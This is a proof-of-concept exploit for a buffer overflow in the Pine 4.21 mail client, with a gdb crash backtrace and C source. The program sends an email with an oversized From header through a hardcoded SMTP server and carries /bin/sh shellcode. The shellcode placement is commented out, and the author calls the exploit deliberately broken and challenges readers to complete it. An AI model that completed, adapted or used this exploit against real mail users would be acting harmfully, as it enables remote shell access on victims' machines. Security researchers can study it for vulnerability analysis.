pine421.txt

`  
/*############## ##### ###### ## # ## # # # # # #  
# #  
# PINE Exploit 4.21 [ bTm ] #  
# #  
  
Proof of Concept: Pine 4.21  
  
There exists a vulnerability in Pine 4.21 involving the  
portion of code in charge of peroidically checking email  
when a pine client is open.  
  
Run pine in one window, then send an email to the account  
owning that session. Switch back over and hit [Control+L]  
(to check your mail).  
  
Woohoo!  
  
now open the core up in gdb:  
  
#2 0x40084098 in abort () at ../sysdeps/generic/abort.c:139  
#3 0x817470c in strcpy () at ../sysdeps/generic/strcpy.c:43  
#4 0x8137f82 in strcpy () at ../sysdeps/generic/strcpy.c:43  
#5 0x8158760 in strcpy () at ../sysdeps/generic/strcpy.c:43  
#6 0x40082c28 in __restore ()  
at ../sysdeps/unix/sysv/linux/i386/sigaction.c:127  
#7 0xe7e2bfff in ?? ()  
Cannot access memory at address 0xe7e2bfff.  
  
Oops, my alignment could use some work.  
  
  
Hello's : Mega,Loki,Lamagra,and zen-parse.  
  
  
BTW: this is broken, you have to figure it out on your own how  
to smuggle the shellcode in.  
  
Any real Pentester can get this working fairly quickly.  
  
Just be polite, don't forget to say HELO!  
  
  
  
Arkane [bTm]  
  
######### ### # ## # # ## # # ## # # # # # # # ### ## ## */  
  
  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <errno.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netdb.h>  
#include <netinet/in.h>  
#include <string.h>  
#include <unistd.h>  
  
unsigned long get_sp (void)  
{  
__asm__ ("mov %esp, %eax");  
}  
  
#define ADDRLEN 700  
#define EXECLEN 1000  
#define NOP 0x90  
  
char shellcode[] =  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
"\x80\xe8\xdc\xff\xff\xff/bin/sh";  
  
int main (int argc, char **argv)  
{  
struct sockaddr_in server;  
struct hostent *hp;  
int s;  
char helo[100];  
char mail[100];  
char rcpt[100];  
char data[2500];  
char start[20];  
  
int offset = 0;  
unsigned long addr;  
int i;  
char *addrs,*exec;  
  
addrs = (char *) malloc (ADDRLEN);  
exec = (char *) malloc (EXECLEN);  
  
if(argc < 2)  
{  
printf(" Usage: %s <Email Address> <offset>\n", argv[0]);  
printf(" \n\n");  
exit(0);  
}  
  
if (argc == 3)  
offset = atoi (argv[2]);  
  
//addr = get_sp () - offset;  
  
addr = 0xbfffe7e2; //RH62  
  
memset(addrs,0x41,ADDRLEN);  
  
// for (i = 0; i < ADDRLEN ; i += 4)  
// *(unsigned *) &addrs[i] = addr;  
  
// memset(exec,0x90,EXECLEN);  
  
// memset(addrs+195,0x90,5);  
  
// memcpy (addrs + 200, shellcode, strlen (shellcode));  
  
if((hp = gethostbyname ("mail.speakeasy.org")) == NULL) {  
printf ("Could not resolve mail.speakeasy.org.\n");  
exit(1); }  
  
if((s = socket (AF_INET, SOCK_STREAM, 0)) == -1) {  
printf("Error");  
exit(1); }  
  
server.sin_family = AF_INET;  
server.sin_port = htons (25);  
server.sin_addr.s_addr = *(u_long *) hp->h_addr;  
bzero (&(server.sin_zero), 8);  
  
if(connect(s, (struct sockaddr *) &server, sizeof (struct sockaddr)) == -1) {  
printf ("Connection refused\n");  
exit(1); }  
  
sprintf (helo, "helo test\r\n");  
sprintf (mail, "mail from: %s\r\n",argv[1]);  
  
send (s, helo, strlen (helo), 0);  
send (s, mail, strlen (mail), 0);  
  
sprintf (rcpt, "rcpt to: %s\r\n",argv[1]);  
  
send (s, rcpt, strlen (rcpt), 0);  
  
sprintf(start,"data\r\n");  
  
send (s, start, strlen (start), 0);  
  
fprintf(stderr," Message Sent! \n");  
  
sprintf(data,"From: %s AAAAAAAA [email protected]\r\n%s\r\n.\r\nquit\r\n",addrs,exec);  
send (s, data, strlen (data), 0);  
  
  
  
close (s);  
exit(0);  
}  
  
----- End forwarded message -----  
`